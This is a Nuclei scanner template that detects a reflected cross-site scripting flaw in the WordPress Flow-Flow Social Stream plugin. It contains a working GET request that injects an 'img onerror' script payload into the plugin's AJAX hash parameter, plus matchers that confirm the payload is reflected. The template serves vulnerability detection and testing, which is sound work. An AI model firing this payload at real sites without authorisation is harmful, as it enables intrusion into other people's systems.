id: flow-flow-social-stream-xss

info:
  name: WordPress Flow-Flow Social Stream <=3.0.71 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: WordPress Flow-Flow Social Stream 3.0.7.1 and prior is vulnerable to cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/8354b34e-40f4-4b70-bb09-38e2cf572ce9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
  tags: xss,wordpress,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=fetch_posts&stream-id=1&hash=%3Cimg%20src=x%20onerror=alert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"hash":"<img src=x onerror=alert(document.domain)>"'
          - '"errors"'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022025ddc4a3aafea79f44ed7447fff113f5af27da83fd6c8124666f56f0bc7cec22022051d29e4bce4f71bcf3f431a57b31d95fc900ed1f7db2d02e61d875c7282cdd09:922c64590222798bb761d5b6d8e72950